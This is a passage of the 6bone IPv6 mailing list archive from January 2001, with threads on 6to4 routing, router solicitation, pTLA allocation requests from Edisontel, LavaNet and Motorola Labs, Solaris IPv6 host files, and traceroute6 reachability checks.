>>> 2002:C30D:111A/48. (which should be correct).
>>> I also set up a static route at my router, that routes traffic to
>>> 2002::/16 to the 6-to-4 tunnel. (The rest used the routing-info that is
>>> received via BGP4+).
>
>>> This seams to work for hosts that have a IPv6-address in my
>>> 6bone-range (for all traffic), but a hosts that only has a 6to4-type
>>> address can only reach other hosts that have a 6to4 address.
>> Do they have a route to the 6BONE?
>Yep.
>This is my config:
>- A cisco router (25xx) which both BGP 4+ to belnet (and from-there-on the
>6bone) and a 6to4-interface. (I used to config posted by Erik Rietberg in
>this list earlier this week).
>- Routing static route for 2002::/16 to tunnel1 (6to4). For the rest, it
>'falls back' to the BGP 4+ routing.
>- On the LAN-interface, both the 6bone address-range and 2002-range. Only
>the 6bone-range (and site-local) is announced via RP.
>- On the lan: one linux-box (which has a 6bone-address learned via RP from
>the router) and one OpenBSD-box with a 2002-address (configured
>statically) and default gateway set statiscally to router (link-local
>address).
>
>Result:
>- linux-box (hence, 6bone-address) can reach everything.
>A ping6 to a remote 2002-address (e.g. ipv6-router.cisco.com or
>6to4.ipv6.microsoft.com) is now faster then before. (which proves that the
>shortcut for the 2002-address static-route is used).
>- OpenBSD-box (hence, 2002-address) can reach the other 2002-addresses,
>but not the 6bone-addresses.
>
>To me, it looks like the 6bone-hosts don't know the return-path to my
>2002-address.
>
>As a test, I've also added my 2002-addresses in my BGP-4+ announcements,
>and now I can reach SOME 6bone-addresses (like www.6bone.net and
>www.ipv6.surfnet.nl), but others do not reply (like www.belnet.be or
>www.kame.net).
>
>Is it possible there any some filters somewhere on the BGP-4+
>announcements? Can anybody check their B GP 4+ routing-table for AS6774?
>
>
>What I found strange that (in my BGP4+ routing-table) I did found the
>follwing entry:
>*> 2002::/16        3FFE:608:2:2::10           0 2611 3257 4697 1251 109 i
>
>So, there DOES is a 'universal' 6bone to 6to4 gateway???
>
>
>Cheerio! Kr. Bonne.
>-- 
>KB905-RIPE                                       Belgacom  IP networking
>(c=be,a=rtt,p=belgacomgroup,s=Bonne,g=Kristoff)  Internet, IP and IP/VPN
>kristoff.bonne@skypro.be                         Faxbox :  +32 2 2435122


From 6bone-owner  Sun Jan 28 19:54:37 2001
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Message-ID: <33FDD994A379D411B13A0004AC4C81A102C28EAD@email3>
From: "Rizkalla, Simon" <srizkalla@uecomm.com.au>
To: "'6bone@isi.edu'" <6bone@ISI.EDU>
Cc: "Salomonovitch, Rotem" <rotem@uecomm.com.au>
Subject: IPv6 Router solicitation in Address Autoconfiguration
Date: Mon, 29 Jan 2001 14:57:01 +1100
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To whom it may concern,

		I am working for Uecomm in Australia and we are currently in
the process of deploying IPv6 in our netowrk.  I have a query about router
solicitation, within stateless 	autoconfiguration.

		After the host sends a query, called neighbor discovery, to
the same address (itself) to verify the uniqueness of the link local address
and there is no response, hence it is unique,  the host then sends a
multicast address for configuration by the router (router solicitation). 

		My question is why does the host send a multicast address
rather than an anycast address, requesting for router solicitation?  

Regards 
Simon Rizkalla  

From 6bone-owner  Mon Jan 29 09:35:06 2001
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Date: Mon, 29 Jan 2001 09:34:34 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for IRCD - review closes 12 Feb 01
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6bone Folk,

IRCD has requested a pTLA allocation on behalf of Edisontel in Italy. The 
open review period for this will close 12 Feb 2001. Please send any 
comments to me or the list.


Thanks,

Bob

======================================
>Date: Sun, 28 Jan 2001 16:36:15 +0100 (CET)
>From: Max Gargani <slash@ircd.it>
>To: Bob Fink <fink@es.net>
>Subject: Re: pTLA request
>
>7. Guidelines for 6Bone pTLA sites
>
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>    should be recognized that holders of 6Bone pTLA allocations are
>    expected to provide production quality backbone network services for
>    the 6Bone.
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.   During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>We have a fully maintained entry on 6Bone database:
>ipv6-site:    IRCD
>origin:       AS5609
>descr:        IRCd Italia
>country:      IT
>prefix:       3FFE:1001:200::/44
>application:  ping ping.ipv6.ircd.it
>application:  irc irc6.ircd.it
>application:  www www.ipv6.ircd.it
>tunnel:       IPv6 in IPv4 c7505-v6.ircd.it -> 6bone-gw3.ipv6.cselt.it
>CSELT STA
>TIC
>tunnel:       IPv6 in IPv4 c7505-v6.ircd.it -> route.ipv6.tobit.com TOBIT
>STATIC
>tunnel:       IPv6 in IPv4 c7505-v6.ircd.it ->
>exchange4-e0.ltn.panservice.it PA
>NSERVICE STATIC
>tunnel:       IPv6 in IPv4 c7505-v6.ircd.it -> rap.viagenie.qc.ca VIAGENIE
>STATI
>C
>contact:      MAX1-6BONE
>remarks:      ipv6-site is operational since March 2000
>               Tunnel Broker Available
>remarks:      This object is automatically converted from the RIPE181
>registry
>url:
>mnt-by:       IRCD-MNT
>changed:      max@ipng.it 20000321
>changed:      max@ipng.it 20000618
>changed:      max@ipng.it 20000918
>changed:      auto-dbm@whois.6bone.net 20010117
>source:       6BONE
>
>person:       Massimiliano Gargani
>address:      Edisontel S.p.A.
>               Foro Buonaparte, 31
>               I-20121 MILANO
>               Italy
>phone:        +39 02 6222.1
>fax-no:       +39 02 6222.8006
>e-mail:       max@ipng.it
>nic-hdl:      MAX1-6BONE
>remarks:      This object is automatically converted from the RIPE181
>registry
>notify:       max@ipng.it
>changed:      max@ipng.it 20000718
>changed:      auto-dbm@whois.6bone.net 20010117
>source:       6BONE
>
>person:       Sergio Chiesa
>address:      Edisontel S.p.A.
>               Foro Buonaparte, 31
>               I-20121 MILANO
>               Italy
>phone:        +39 02 6222.1
>fax-no:       +39 02 6222.8006
>e-mail:       s.chiesa@ipng.it
>nic-hdl:      SC2-6BONE
>remarks:      This object is automatically converted from the RIPE181
>registry
>changed:      s.chiesa@ipng.it 20000717
>changed:      auto-dbm@whois.6bone.net 20010117
>source:       6BONE
>
>person:       Andrea Colangelo
>address:      Edisontel S.p.A.
>               Foro Buonaparte, 31
>               I-20121 MILANO
>               Italy
>phone:        +39 02 6222.1
>fax-no:       +39 02 6222.8006
>e-mail:       a.colangelo@ipng.it
>nic-hdl:      AC1-6BONE
>remarks:      This object is automatically converted from the RIPE181
>registry
>changed:      a.colangelo@ipng.it 20000717
>changed:      auto-dbm@whois.6bone.net 20010117
>source:       6BONE
>
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>I haven't any IPv6 BGP peers because my address is part of CSELT address
>space and I can't annouce it to anyone.
>Anyway I have severals IPv4 BGP peers. You can check on RIPE database for
>AS15589
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>Our DNS is ready for AAAA and ip6.int. Is autoritative for
>3ffe:1001:200::/44
>
>You can check on ns.irc6.org
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>You can check www.ipv6.ircd.it (IPv6 only). On that site is described all
>what I did with IPv6
>
>I can't grant the reachbility of the sity because in the last week I've
>noticed
>a great unstability of CSELT IPv6 network
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>The our ipv6 staff is composed by:
>
>Max Gargani (me) MAX1-6bone
>Sergio Chiesa SC2-6bone
>Andrea Colangelo AC1-6bone
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>The common e-mail address is ipv6@ipng.it
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>Edisontel (the company I rappresent in this request) is a Telco and ISP
>here in
>Italy.
>The pTLA will serve all other our peers in Milan Internet Exchange N.A.P.
>
>At the MIX we have created an IPv6 working group, and because I'm the only
>to have at least 3 month on 6Bone, I'm asking for pTLA
>All other peers are the major ISP here in Italy:
>
>At the working group will partecipate Edisontel, Telecom Italia,
>Infostrada,
>Cable & Wireless Italy, Blixer, I.Net and many others
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>    When an Applicant seeks to receive a pTLA allocation, it will apply
>    to the 6Bone Operations Group (see section 8 below) by providing to
>    the Group information in support of its claims that it meets the
>    criteria above.
>
>We agree to the present and future 6Bone policies and the pTLA will be
>used
>only for experimental purpose
>
>
>8. 6Bone Operations Group
>
>    The 6Bone Operations Group is the group in charge of monitoring and
>    policing adherence to the current rules. Membership in the 6Bone
>    Operations Group is mandatory for, and restricted to, sites connected
>    to the 6Bone.
>
>    The 6Bone Operations Group is currently defined by those members of
>    the existing 6Bone mailing list who represent sites participating in
>    the 6Bone. Therefore it is incumbent on relevant site contacts to
>    join the 6Bone mailing list. Instructions on how to join the list are
>    maintained on the 6Bone web site at < http://www.6bone.net>.
>
>We are already subscribed on the 6bone IPv6 mailing-list
>
>Regards,
>
>.. Massimiliano Gargani
>.. Access/Network Engineer
>.. EdisonTel S.p.A. - Italy
>
>On Mon, 22 Jan 2001, Bob Fink wrote:
>
> > Max,
> >
> > You need to respond to the pTLA request form available from the 6bone home
> > page:
> >
> > <http://www.6bone.net/6bone_pTLA_rqst.html>
> >
> >
> > I would specifically call your attention to the BGP4+ and the community of
> > users requirements. However, please review all questions and answer them as
> > asked.
> >
> >
> > Thanks,
> >
> > Bob
> >
> > ===============================================
> > At 05:24 PM 1/19/2001 +0100, Max Gargani wrote:
> > >Hi,
> > >
> > >I have a v6 lab in Italy connected through CSELT. I have the address space
> > >3ffe:1001:200::/44 and I'm experimenting in IPv6 since march 2000.
> > >
> > >I have several static tunnel around the world, an IPv6 IRC server linked
> > >to IRCnet (the largest IRC net in europe), a tunnel broker service for
> > >dynamic IP users. Web and FTP (ipv6/ipv4).
> > >
> > >You can obtain my details quering the 6bone database.
> > >
> > >My nic-handle is MAX1-6BONE
> > >the ipv6-site is IRCD
> > >
> > >I'm asking to become pTLA. I have severals peering IPv4 in twn italian
> > >N.A.P. in Milan and Rome.
> > >
> > >My DNS is ready for AAAA and ip6.int and is autoritative for prefix
> > >3ffe:1001:200::/44
> > >
> > >The other 2 person who are working with me at IPv6 development are:
> > >
> > >Sergio Chiesa (SC2-6BONE)
> > >Andrea Colangelo (AC1-6BONE)
> > >
> > >the common e-mail address is ipv6@ipng.it
> > >
> > >The pTLA will part of an IPv6 working group to which take parte most of
> > >the Milan Internet Exchange peers.
> > >
> > >I used IRCD as ipv6-site because I start IPv6 experimentation with IRC
> > >servers and so I preferred register it for Italian IRC community, but now
> > >I request the pTLA as Edisontel S.p.A. (ASn 15589 network: 62.94.0.0/16)
> > >
> > >I hope this is enough to become pTLA.
> > >
> > >Let me know.
> > >
> > >TIA,
> > >
> > >.. Massimiliano Gargani
> > >.. Access/Network Engineer
> > >.. EdisonTel S.p.A. - Italy
> >
> >



From 6bone-owner  Mon Jan 29 09:43:02 2001
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Date: Mon, 29 Jan 2001 09:42:44 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8140::/28 allocated to APAN-JP
Cc: Bill Manning <bmanning@ISI.EDU>, Yuichiro HEI <hei@kddlabs.co.jp>,
        kdd@jp.apan.net
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APAN-JP has been allocated pTLA 3FFE:8140::/28 having finished its 2-week 
review period with no negative comments.

<http://whois.6bone.net/cgi-bin/whois?apan-jp>


Note that it will take a short while for their inet6num and ipv6-site 
objects to show up as they have to create them. However, their registration 
is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>


Thanks,

Bob


From 6bone-owner  Tue Jan 30 12:10:53 2001
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From: Pim van Pelt <pim@bfib.ipng.nl>
Message-Id: <200101302008.f0UK8Ve13615@bfib.ipng.nl>
Subject: IPv6 related Search Engine
To: 6bone@ISI.EDU
Date: Tue, 30 Jan 2001 21:08:31 +0100 (CET)
Cc: info@ipng.nl
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Dear IPv6 folk,

The company I work for, WiseGuys Internet BV in the Netherlands, deploys
Datamining Software (webagents/spiders/search engine). I have asked their
permission to run an IPv6 related search engine at
  http://www.ipng.nl/ 
and they have kindly agreed to license me their software.

To this end, I have started an index run on 208 websites that I know of
and feel are important to the IPv6 community. My goals are to publish
a search engine on my website in March 2001.

To this end, I'd very much like your cooperation, in two respects.
1. If you know of sites that are interresting (language irrelevant),
please let me <pim@ipng.nl> know about it. Include entrypoint and
scope of the website. 
2. If you have a website, please ensure you have a robots.txt file in 
your docroot, to spare your server from my relentless spiders. They will
never come anywhere that you Disallow: them to. 

Guiding robots through your site is a good idea. Check out 
  http://www.wise-guys.nl/webagent_en.html
for strict guidelines on robots.txt and meta noindex/nofollow techniques.

Needless to say, if you are interrested in running a search engine and
are able to define a scope of websites you wish to see indexed, you can
contact WiseGuys <info@wise-guys.nl> for details.

Regards,
Pim

--
---------- - -    - - -+- - -    - - ----------
Pim van Pelt       Email: pvanpelt@wise-guys.nl
http://www.wise-guys.nl/      GSM: +31629064049
-----------------------------------------------

From 6bone-owner  Tue Jan 30 12:48:09 2001
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Date: Tue, 30 Jan 2001 12:47:58 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: 6bone pTLA 3FFE:8150::/28 allocated to SOLNET-CH
Cc: Bill Manning <bmanning@ISI.EDU>, Erich Hohermuth <eh@solnet.ch>
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SOLNET-CH has been allocated pTLA 3FFE:8150::/28 having finished its 2-week 
review period with no negative comments.

<http://whois.6bone.net/cgi-bin/whois?apan-jp>


Note that it will take a short while for their inet6num entry to appear in 
the 6bone registry as they have to create it themselves. However, their 
registration is listed on:

<http://www.6bone.net/6bone_pTLA_list.html>


Thanks,

Bob


From 6bone-owner  Tue Jan 30 12:52:06 2001
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From: Jae.Lee@intelsat.int
To: 6bone@ISI.EDU
Subject: /etc/hosts8 ?
Date: Tue, 30 Jan 2001 15:40:16 -0500
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Greetings everyone.
I am wondering if there is a /etc/hosts (/etc/inet/hosts) equivalent file
in Solaris8 for IPv6 hosts.
I am getting tired of typing in IPv6 addresses, not to mention my memory
fails every time. :(
Thanks.

- Jae

p.s. I am not really eager to start my own DNS server, but if a kind soul
can provide me a sequence of steps to follow to start up the DNS on Sol8, I
am more than willing to give it a try.

From 6bone-owner  Tue Jan 30 13:49:05 2001
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Date: Tue, 30 Jan 2001 22:49:46 +0100 (CET)
From: Bertil Lindblad <Bertil.Lindblad@sweden.sun.com>
Reply-To: Bertil Lindblad <Bertil.Lindblad@sweden.sun.com>
Subject: Re: /etc/hosts8 ?
To: Jae.Lee@intelsat.int
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The answer is in "man ipnodes"

Further, see http://docs.sun.com, Solaris 8 sysadmin collection, 
System admin guide vol 3 (which is all networking, and quite thick ;-)

HTH
Regards,
Bertil Lindblad

> Greetings everyone.
> I am wondering if there is a /etc/hosts (/etc/inet/hosts) equivalent file
> in Solaris8 for IPv6 hosts.
> I am getting tired of typing in IPv6 addresses, not to mention my memory
> fails every time. :(
> Thanks.
> 
> - Jae
> 
> p.s. I am not really eager to start my own DNS server, but if a kind soul
> can provide me a sequence of steps to follow to start up the DNS on Sol8, I
> am more than willing to give it a try.

------
Bertil Lindblad     Senior SE datacomms      Sun Microsystems AB
<bertil.lindblad@sun.se>   or   <bertil.lindblad@sweden.sun.com>

Box 51, S-164 94 KISTA, Sweden        
Phone +46-8-631 1256                 Fax +46-8-631 10 05



From 6bone-owner  Tue Jan 30 14:33:35 2001
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Date: Tue, 30 Jan 2001 17:33:02 -0500 (EST)
From: Alan Halachmi <alan@halachmi.net>
Reply-To: Alan@halachmi.net
To: Jae.Lee@intelsat.int
cc: 6bone@ISI.EDU
Subject: Re: /etc/hosts8 ?
In-Reply-To: <490B4C213EC8D211851F00105A29CA5A07A1F99C@admex1.adm.intelsat.int>
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Jae.Le>I am wondering if there is a /etc/hosts (/etc/inet/hosts)
Jae.Le>equivalent file in Solaris8 for IPv6 hosts. I am getting
Jae.Le>tired of typing in IPv6 addresses, not to mention my memory
Jae.Le>fails every time. :( Thanks.

I think it is called `ipnodes` in either /etc/ or /etc/inet/

Best,
Alan

--
Alan Halachmi
Wide Area Network Specialist
Ingram Entertainment Network Services
mailto:alan@halachmi.net
http://www.ingramentertainment.com


From 6bone-owner  Tue Jan 30 16:41:20 2001
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Date: Tue, 30 Jan 2001 16:41:03 -0800
From: "Bradley W. McNamara" <BMcNamara@zama.net>
Organization: ZAMA Networks, Inc.
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To: Jae.Lee@intelsat.int
CC: 6bone@ISI.EDU
Subject: Re: /etc/hosts8 ?
References: <490B4C213EC8D211851F00105A29CA5A07A1F99C@admex1.adm.intelsat.int>
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Try '/etc/inet/ipnodes'.

Brad McNamara
ZAMA Networks, Inc.
http://www.zama.net
http://www.zama6.net

Jae.Lee@intelsat.int wrote:

> Greetings everyone.
> I am wondering if there is a /etc/hosts (/etc/inet/hosts) equivalent file
> in Solaris8 for IPv6 hosts.
> I am getting tired of typing in IPv6 addresses, not to mention my memory
> fails every time. :(
> Thanks.
>
> - Jae
>
> p.s. I am not really eager to start my own DNS server, but if a kind soul
> can provide me a sequence of steps to follow to start up the DNS on Sol8, I
> am more than willing to give it a try.


From 6bone-owner  Wed Jan 31 02:51:56 2001
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From: Francis Dupont <Francis.Dupont@enst-bretagne.fr>
To: "Rizkalla, Simon" <srizkalla@uecomm.com.au>
cc: "'6bone@isi.edu'" <6bone@ISI.EDU>,
        "Salomonovitch,
    Rotem" <rotem@uecomm.com.au>
Subject: Re: IPv6 Router solicitation in Address Autoconfiguration 
In-reply-to: Your message of Mon, 29 Jan 2001 14:57:01 +1100.
             <33FDD994A379D411B13A0004AC4C81A102C28EAD@email3> 
Date: Wed, 31 Jan 2001 11:51:25 +0100
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 In your previous mail you wrote:

   		My question is why does the host send a multicast address
   rather than an anycast address, requesting for router solicitation?  
   
=> because the host wants an answer from every routers, not from any router.
The idea is to be able to get all parameters and to choice the "best" default
router.

Regards

Francis.Dupont@enst-bretagne.fr

From 6bone-owner  Wed Jan 31 08:00:30 2001
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Date: Wed, 31 Jan 2001 08:00:15 -0800
To: 6BONE List <6bone@ISI.EDU>
From: Bob Fink <fink@es.net>
Subject: pTLA request for LavaNet - review closes 14 Feb 01
Cc: Antonio Querubin <tony@lava.net>
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6bone Folk,

LavaNet has requested a pTLA allocation. The open review period for this 
will close 14 Feb 2001. Please send any comments to me or the list.


Thanks,

Bob

============================================
>Date: Tue, 30 Jan 2001 13:14:40 -1000 (HST)
>From: Antonio Querubin <tony@lava.net>
>To:  <fink@es.net>
>Subject: pTLA request for LavaNet
>
>Bob,
>
>LavaNet is applying for a pTLA.  Here are our responses to the RFC-2772
>section 7 requirements.  Could you review it and let us know what else
>needs to be addressed or whether we need to expand on any points before
>final submission?  Thanks.
>
>Antonio Querubin
>LavaNet System Staff
>
>--
> From RFC 2772
>
>7. Guidelines for 6Bone pTLA sites
>
>    The following rules apply to qualify for a 6Bone pTLA allocation. It
>    should be recognized that holders of 6Bone pTLA allocations are
>    expected to provide production quality backbone network services for
>    the 6Bone.
>
>    1. The pTLA Applicant must have a minimum of three (3) months
>       qualifying experience as a 6Bone end-site or pNLA transit.   During
>       the entire qualifying period the Applicant must be operationally
>       providing the following:
>
>LavaNet established it's first 6Bone tunnel in April 2000.  It was
>reestablished in October 2000 and it has been in continuous operation
>since.
>
>       a. Fully maintained, up to date, 6Bone Registry entries for their
>          ipv6-site inet6num, mntner, and person objects, including each
>          tunnel that the Applicant has.
>
>The following objects are currently registered in the 6Bone Registry:
>   LAVANET
>   LAVANET-SYSTEM-STAFF
>   AQ7
>   JC273
>   3FFE:2900:D00A::/48
>
>       b. Fully maintained, and reliable, BGP4+ peering and connectivity
>          between the Applicant's boundary router and the appropriate
>          connection point into the 6Bone. This router must be IPv6
>          pingable. This criteria is judged by members of the 6Bone
>          Operations Group at the time of the Applicant's pTLA request.
>
>Our router is currently a Linux system running zebra.  It's address is
>6bone.lava.net and it peers with Sprint over a tunnel.  Our goal is to
>peer directly with our upstreams on our border cisco routers when IOS 12.2
>reaches maturity.
>
>       c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
>          entries for the Applicant's router(s) and at least one host
>          system.
>
>Our IPv6-enabled nameservers are:
>   ns1.ipv6.lava.net
>   ns2.ipv6.lava.net
>
>A query for PTR records in 0.0.0.0.a.0.0.d.0.0.9.2.e.f.f.3.ip6.int at the
>above nameservers will reveal a number of IPv6 hosts.
>
>       d. A fully maintained, and reliable, IPv6-accessible system
>          providing, at a mimimum, one or more web pages, describing the
>          Applicant's IPv6 services.  This server must be IPv6 pingable.
>
>This will eventually be www.ipv6.lava.net.  We hope to have some pertinent
>IPv6 pages on it by next week.
>
>    2. The pTLA Applicant MUST have the ability and intent to provide
>       "production-quality" 6Bone backbone service. Applicants must
>       provide a statement and information in support of this claim.
>       This MUST include the following:
>
>       a. A support staff of two persons minimum, three preferable, with
>          person attributes registered for each in the ipv6-site object
>          for the pTLA applicant.
>
>These would be:
>   Antonio Querubin (AQ7)
>   Julian Cowley (JC273)
>   Robert Brewer (?)
>
>       b. A common mailbox for support contact purposes that all support
>          staff have acess to, pointed to with a notify attribute in the
>          ipv6-site object for the pTLA Applicant.
>
>Our system support staff mailbox is system@lava.net (LAVANET-SYSTEM-STAFF).
>
>    3. The pTLA Applicant MUST have a potential "user community" that
>       would be served by its becoming a pTLA, e.g., the Applicant is a
>       major provider of Internet service in a region, country, or focus
>       of interest. Applicant must provide a statement and information in
>       support this claim.
>
>LavaNet is the largest locally-owned ISP in the state of Hawaii serving
>approximately 11000 customers throughout the major Hawaiian islands and
>Johnston Island.  We have network connections with Genuity and UUNet (next
>month we'll add Sprint) and are doing full BGP peering with them.  We also
>do regional peering with other Hawaii-based networks at the Hawaii
>Internet Exchange (HIX).
>
>    4. The pTLA Applicant MUST commit to abide by the current 6Bone
>       operational rules and policies as they exist at time of its
>       application, and agree to abide by future 6Bone backbone
>       operational rules and policies as they evolve by consensus of the
>       6Bone backbone and user community.
>
>We do.
-end


From 6bone-owner  Wed Jan 31 08:16:36 2001
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From: "Clifford Magnan" <ipver6@hotmail.com>
To: 6bone@ISI.EDU
Subject: connecting to 6Bone
Date: Wed, 31 Jan 2001 11:16:22 -0500
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Hello all IPV6 goers,

Can any body give me a lead towards the steps of connecting to the 6Bone? 
Thanking everybody in advance.

Regards,

Cliff

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com


From 6bone-owner  Wed Jan 31 11:00:59 2001
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Date: Wed, 31 Jan 2001 11:00:44 -0800
To: "Clifford Magnan" <ipver6@hotmail.com>, 6bone@ISI.EDU
From: Bob Fink <fink@es.net>
Subject: Re: connecting to 6Bone
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Clifford,

At 11:16 AM 1/31/2001 -0500, Clifford Magnan wrote:
>Hello all IPV6 goers,
>
>Can any body give me a lead towards the steps of connecting to the 6Bone? 
>Thanking everybody in advance.

Use the how to join pages:

<http://www.6bone.net/6bone_hookup.html>

If something makes no sense, please ask me.


Thanks,

Bob


From 6bone-owner  Wed Jan 31 13:12:17 2001
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From: "Larry D. Hutchison" <LarryH@milarnet.com>
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http://www.freenet6.net/en/createTunnel.html


Regards:

Larry Hutchison
mailto:LarryH@milarnet.com



-----Original Message-----
From: Clifford Magnan [mailto:ipver6@hotmail.com]
Sent: Wednesday, January 31, 2001 9:16 AM
To: 6bone@ISI.EDU
Subject: connecting to 6Bone


Hello all IPV6 goers,

Can any body give me a lead towards the steps of connecting to the
6Bone? 
Thanking everybody in advance.

Regards,

Cliff

_________________________________________________________________
Get your FREE download of MSN Explorer at http://explorer.msn.com


From 6bone-owner  Wed Jan 31 14:08:11 2001
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Date: Wed, 31 Jan 2001 16:08:05 -0600
From: Joseph E Eggleston <Joe_Eggleston-CJE136@email.mot.com>
Reply-To: "Joe.Eggleston" <Joe_Eggleston-CJE136@email.mot.com>
Organization: Motorola Labs
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Subject: pTLA qualifications
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Hi all,
I am trying to set up our site to meet all the requirements for
requesting a pTLA. I think I have everything configured, but I was
wondering if someone could try hitting our site to see if everything
looks good externally as well.

My IPv6 domain is ipv6.motlabs.com. The router that is handling the
tunnel is i2router.ipv6.motlabs.com. There's a web server at
www.ipv6.motlabs.com and DNS is at dns1.ipv6.motlabs.com. Our 6bone
database entries are under MOTOROLA-LABS.

thanks!
Joe


7. Guidelines for 6Bone pTLA sites

   The following rules apply to qualify for a 6Bone pTLA allocation. It
   should be recognized that holders of 6Bone pTLA allocations are
   expected to provide production quality backbone network services for
   the 6Bone.

   1. The pTLA Applicant must have a minimum of three (3) months
      qualifying experience as a 6Bone end-site or pNLA transit.  
During
      the entire qualifying period the Applicant must be operationally
      providing the following:

      a. Fully maintained, up to date, 6Bone Registry entries for their
         ipv6-site inet6num, mntner, and person objects, including each
         tunnel that the Applicant has.

see MOTOROLA-LABS

      b. Fully maintained, and reliable, BGP4+ peering and connectivity
         between the Applicant's boundary router and the appropriate
         connection point into the 6Bone. This router must be IPv6
         pingable. This criteria is judged by members of the 6Bone
         Operations Group at the time of the Applicant's pTLA request.

We're using BGP4+ and our router is at i2router.ipv6.motlabs.com

      c. Fully maintained DNS forward (AAAA) and reverse (ip6.int)
         entries for the Applicant's router(s) and at least one host
         system.

I think DNS forward and reverse is working.

      d. A fully maintained, and reliable, IPv6-accessible system
         providing, at a mimimum, one or more web pages, describing the
         Applicant's IPv6 services.  This server must be IPv6 pingable.

www.ipv6.motlabs.com

   2. The pTLA Applicant MUST have the ability and intent to provide
      "production-quality" 6Bone backbone service. Applicants must
      provide a statement and information in support of this claim.
      This MUST include the following:

      a. A support staff of two persons minimum, three preferable, with
         person attributes registered for each in the ipv6-site object
         for the pTLA applicant.

We have an OC-3c link to the Chicago NAP.
support staff: JEE1-6BONE, JTE1-6BONE

      b. A common mailbox for support contact purposes that all support
         staff have acess to, pointed to with a notify attribute in the
         ipv6-site object for the pTLA Applicant.

6bone@labs.mot.com

   3. The pTLA Applicant MUST have a potential "user community" that
      would be served by its becoming a pTLA, e.g., the Applicant is a
      major provider of Internet service in a region, country, or focus
      of interest. Applicant must provide a statement and information in
      support this claim.

User community is mainly Motorola.

   4. The pTLA Applicant MUST commit to abide by the current 6Bone
      operational rules and policies as they exist at time of its
      application, and agree to abide by future 6Bone backbone
      operational rules and policies as they evolve by consensus of the
      6Bone backbone and user community.

   When an Applicant seeks to receive a pTLA allocation, it will apply
   to the 6Bone Operations Group (see section 8 below) by providing to
   the Group information in support of its claims that it meets the
   criteria above.

8. 6Bone Operations Group

   The 6Bone Operations Group is the group in charge of monitoring and
   policing adherence to the current rules. Membership in the 6Bone
   Operations Group is mandatory for, and restricted to, sites connected
   to the 6Bone.

   The 6Bone Operations Group is currently defined by those members of
   the existing 6Bone mailing list who represent sites participating in
   the 6Bone. Therefore it is incumbent on relevant site contacts to
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Subject: Getting IPv6 pointers to my Domain
Date: Wed, 31 Jan 2001 15:46:13 -0700
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Hello all:

Just wondering how to go about getting pointers or AAAA Records for my
domain.  Thanks in advance...


Regards:

Larry Hutchison
mailto:LarryH@milarnet.com



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From 6bone-owner  Wed Jan 31 15:44:40 2001
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From: Antonio Querubin <tony@lava.net>
To: Joseph E Eggleston <Joe_Eggleston-CJE136@email.mot.com>
cc: <6bone@ISI.EDU>
Subject: Re: pTLA qualifications
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On Wed, 31 Jan 2001, Joseph E Eggleston wrote:

> I am trying to set up our site to meet all the requirements for
> requesting a pTLA. I think I have everything configured, but I was
> wondering if someone could try hitting our site to see if everything
> looks good externally as well.
>
> My IPv6 domain is ipv6.motlabs.com. The router that is handling the
> tunnel is i2router.ipv6.motlabs.com. There's a web server at
> www.ipv6.motlabs.com and DNS is at dns1.ipv6.motlabs.com. Our 6bone
> database entries are under MOTOROLA-LABS.

They're all reachable from here:

$ traceroute6 -n i2router.ipv6.motlabs.com
traceroute to i2router.ipv6.motlabs.com (3ffe:b00:4025::), 30 hops max,
12 byte packets
 1  3ffe:2900:d:a::2  2.547 ms  6.828 ms  7.325 ms
 2  3ffe:2900:d:a::1  140.319 ms *  138.48 ms
 3  3ffe:b00:c18::e  602.571 ms  607.059 ms  602.783 ms
 4  3ffe:b00:4025::  689.271 ms  692.067 ms  693.559 ms
$ traceroute6 -n ipv6.motlabs.com
traceroute to ipv6.motlabs.com (3ffe:b00:4025::c), 30 hops max, 12 byte
packets
 1  3ffe:2900:d:a::2  2.459 ms  2.689 ms  7.003 ms
 2  3ffe:2900:d:a::1  137.436 ms *  137.322 ms
 3  3ffe:b00:c18::e  627.117 ms  603.002 ms  600.613 ms
 4  3ffe:b00:c18::57  685.056 ms  700.387 ms  696.909 ms
 5  3ffe:b00:4025::c  760.957 ms  710.317 ms *
$ traceroute6 -n www.ipv6.motlabs.com
traceroute to www.ipv6.motlabs.com (3ffe:b00:4025::c), 30 hops max, 12
byte packets
 1  3ffe:2900:d:a::2  5.929 ms  4.305 ms  3.208 ms
 2  3ffe:2900:d:a::1  147.605 ms *  138.826 ms
 3  3ffe:b00:c18::e  617.854 ms  617.287 ms  601.08 ms
